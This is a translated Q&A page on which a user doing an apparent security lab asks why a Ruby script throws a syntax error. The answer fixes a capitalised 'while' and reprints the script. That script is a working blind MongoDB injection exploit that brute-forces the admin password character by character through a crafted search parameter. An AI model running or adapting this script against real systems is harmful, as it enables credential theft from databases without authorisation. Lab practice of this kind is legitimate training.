неожиданное ключевое слово: конец MongoDB Injection - PullRequest
0 голосов
/ 18 мая 2019

я выполняю одну из задач для получения дополнительной информации из базы данных NoSQL, используя ruby. Каждый раз, когда я запускаю код, я получаю синтаксическую ошибку

    require 'httparty'
    URL="ptl-eb7cd0e0-778a277a.libcurl.so"
    def check?(str)
    resp = HTTParty.get("http://#{URL}/? 
    search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")

    return resp.body =~ />admin</
    end


    #puts check?("d").inspect
    #puts check?("aaa").inspect

    CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
    password = ""

    While true
    CHARSET.each do |c|
    puts "Trying: #{c} for #{password}"
    test = password+c
    if check?("^#{test}.*$") 
    password+=c
    puts password
    break
    end
    end
    end

1 Ответ

3 голосов
/ 18 мая 2019

Существует опечатка while - ключевое слово, которое необходимо записать в нижнем регистре.

require 'httparty'

URL = "ptl-eb7cd0e0-778a277a.libcurl.so"

def check?(str)
  resp = HTTParty.get(
    "http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
  )

  return resp.body =~ />admin</
end


# puts check?("d").inspect
# puts check?("aaa").inspect

CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""

while true                      # `while` needs to be downcase
  CHARSET.each do |c|
    puts "Trying: #{c} for #{password}"
    test = password + c
    if check?("^#{test}.*$") 
      password += c
      puts password
      break
    end
  end
end

Кстати.правильный отступ и немного белого значительно улучшают читаемость.

...